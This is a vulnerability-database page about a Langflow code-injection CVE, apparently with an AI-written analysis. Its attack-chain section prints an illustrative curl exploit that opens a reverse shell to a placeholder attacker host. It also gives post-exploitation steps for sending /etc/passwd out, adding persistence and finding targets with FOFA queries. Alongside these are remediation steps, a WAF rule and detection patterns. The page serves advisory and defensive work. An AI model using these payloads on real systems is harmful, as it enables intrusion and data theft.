CVE Professor
/
All CVEs
CVE-2026-115555

CVE-2026-115555 — IBM Langflow OSS (1.13.0) — CWE-94

CRITICAL CVSS 9.9 ⚡ EPSS 0.8% NVD+CVE.org

IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code due to improper control of code generation during the import of arbitrary Python modules.

IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code due to improper control of code generation during the import of arbitrary Python modules.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
0.8%
30-day probability
In the 57. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑115555 is a classic code‑injection flaw (CWE‑94) in IBM Langflow OSS versions 1.0.0 through 1.13.0.
The application exposes an “import‑module” API that allows an authenticated user to upload or define a Python module.
During the import process the server:

1. Writes the supplied source code to disk without sanitising the filename or the code content.
2. Executes the module immediately (e.g., via importlib.import_module or exec) in the same process that serves the web application.

Because the code is executed with the same privileges as the web service (often a privileged user or even root), an attacker can inject arbitrary Python that can spawn shells, read/write files, or perform any action the service user can do.

The vulnerability is scope‑changing (S:C) because the injected code runs with the service’s privileges, giving the attacker full control over the host. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) confirms that a remote, low‑complexity, low‑privilege attacker can achieve complete confidentiality, integrity, and availability compromise.


⚡ Attack Chain

NOTE: The exact URI, parameter names, and authentication mechanism are not disclosed in the CVE text. The following chain uses illustrative endpoints and payloads that match the described behaviour. Replace the placeholders with the real values discovered during reconnaissance.

1. Discovery & Reconnaissance

StepTechniqueWhat to look for
Identify the productHTTP header / bannerServer: IBM‑Langflow/1.13.0 or X‑Product: IBM Langflow
Locate the import APIEndpoint fuzzing / documentation/api/import_module, /api/modules, or /modules/import
Determine auth methodInspect login flowJWT in Authorization: Bearer <token>, session cookie, or basic auth
Verify module uploadSend a benign module{"module_name":"test","module_code":"print(\"hello\")"} → check if a new file appears in the modules directory

2. Exploitation

1. Craft a malicious module that performs a privileged action (e.g., reverse shell).
2. Send an authenticated POST to the import endpoint with the malicious code.
3. Trigger the import (often the POST itself imports the module).
4. Code executes immediately on the server.

Illustrative PoC (replace <TARGET>, <TOKEN>, and <ATTACKER_IP> with real values)

curl -X POST "https://<TARGET>/api/import_module" \
     -H "Authorization: Bearer <TOKEN>" \
     -H "Content-Type: application/json" \
     -d '{
           "module_name": "evil",
           "module_code": "import os\nos.system(\"/bin/bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'\")"
         }'

What happens?

  • The server writes evil.py to its modules directory.

  • It immediately imports evil, executing the os.system call.

  • A reverse TCP shell is opened back to the attacker.
  • If the import is lazy (the module is only executed when a separate endpoint is hit), the attacker can first upload the module and then trigger it via a second request such as GET /api/modules/evil/run.

    3. Post‑Exploitation

    GoalHow to achieve it
    Full system controlUse the reverse shell to run sudo -i (if the service runs as root) or to install persistence mechanisms.
    Data exfiltrationcat /etc/passwd > /tmp/passwd.txt → curl -X POST http://<ATTACKER_IP>/upload -F file=@/tmp/passwd.txt
    PivotFrom the compromised host, launch additional scans or compromise other services on the same network.
    Maintain presenceCreate a cron job, add a new user, or modify the service’s startup script to load a malicious module on reboot.

    🌍 Real World Impact

    ImpactExplanation
    Confidentiality (C:H)Arbitrary code can read any file the service user can access, including secrets, credentials, and database dumps.
    Integrity (I:H)The attacker can modify application code, configuration files, or database contents, effectively taking over the application.
    Availability (A:H)The attacker can crash the service by raising unhandled exceptions, deleting critical files, or exhausting resources (e.g., spawning many processes).
    Scope (S:C)The injected code runs with the same privileges as the web service, often root or a privileged service account, enabling full system compromise.

    Practical consequences for an enterprise:

  • Loss of customer data and regulatory non‑compliance (GDPR, HIPAA, PCI‑DSS).
  • Downtime of critical services (e.g., AI‑driven chatbots, data pipelines).
  • Potential for lateral movement within the organization’s network.
  • Long‑term persistence that can be used for future attacks.

  • 🛡️ Remediation & Mitigation

    Affected Versions

    ProductAffected RangeFixed In
    IBM Langflow OSS1.0.0 – 1.13.01.14.0 (or later)
    Upgrade to 1.14.0 or newer as soon as possible. The patch removes the ability to import arbitrary modules from untrusted users and enforces a strict whitelist of allowed modules.

    Workarounds

    MitigationHow to implement
    Disable the import endpointRemove or comment out the route in the application’s routing configuration.
    Restrict accessConfigure the web server (NGINX/Apache) to allow the import endpoint only from trusted IPs or behind an internal VPN.
    Use a WAF ruleBlock requests containing suspicious Python code patterns. Example ModSecurity rule:
    ``modsecurity\nSecRule REQUEST_HEADERS:Content-Type "application/json" "phase:2,chain,block,msg:'Disallow code injection via import API'\nSecRule ARGS:module_code \"(importexecevalos\\.systemsubprocess\\.Popen)\" \"t:none,phase:2,block,log,deny,status:403\"\n`
    Run the service as a non‑privileged userIf the application must run as root, consider using sudo` to drop privileges before executing user‑supplied code.

    Detection

    IndicatorLog patternHow to search
    POST to import endpointPOST /api/import_modulegrep -i 'POST /api/import_module' /var/log/nginx/access.log
    Suspicious codemodule_code containing os.system, subprocess, eval, execgrep -i 'module_code' /var/log/nginx/access.loggrep -E 'os\.systemsubprocessevalexec'
    File creationNew files in the modules directoryauditctl -w /opt/langflow/modules -p wa
    Reverse shell attemptsOutbound connections from the host to an external IP on non‑standard portsnetstat -antpgrep ESTABLISHEDgrep -v 127.0.0.1
    Unexpected process creationpython or bash processes started by the web userps -efgrep pythongrep -v grep

    ⚠️ Urgency

  • CVSS 9.9 (Critical) + Scope Change → Immediate risk.
  • No CISA KEV status does not reduce the urgency; the flaw is already exploitable.
  • Exploit Complexity: Low (requires only an authenticated session).
  • Impact: Full system compromise.
Recommendation: 1. Patch immediately (upgrade to ≥ 1.14.0). 2. If a patch cannot be applied within 24 h, apply the workarounds listed above and monitor for exploitation attempts. 3. Conduct a full security audit of all instances of IBM Langflow to ensure no other code‑injection vectors exist.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="IBM Langflow OSS"
CVSS Score
9.9 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (1)
IBM:Langflow OSS (1.13.0)
References & Advisories (1)
Related CVEs
9.9
CVE-2026-115550
IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code du
9.8
CVE-2026-119106
IBM AIX 7.2, and 7.3 and VIOS 4.1 could allow a remote attacker to execute arbitrary code due to a heap-based
9.8
CVE-2026-121835
IBM AIX 7.2, and 7.3 and VIOS 4.1 could allow a remote attacker to execute arbitrary commands due to improper
9.8
CVE-2026-75119
IBM iDb2 Mirror for i 7.4, 7.5, and 7.6 could allow a remote attacker to execute arbitrary CL commands due to
9.2
CVE-2026-145153
LangChain4j before 1.5.4-beta11, 1.11.12-beta19, 1.19.4-beta29, and 1.23.0-beta33 contains an injection vulner
9.0
CVE-2026-126111
Missing secure processing in the XSLT transformer of the Velocity $xslttool view tool in dotCMS allows a back-
8.5
CVE-2026-144446
bitproto before 1.3.3 contains a code injection vulnerability that allows attackers to inject code into genera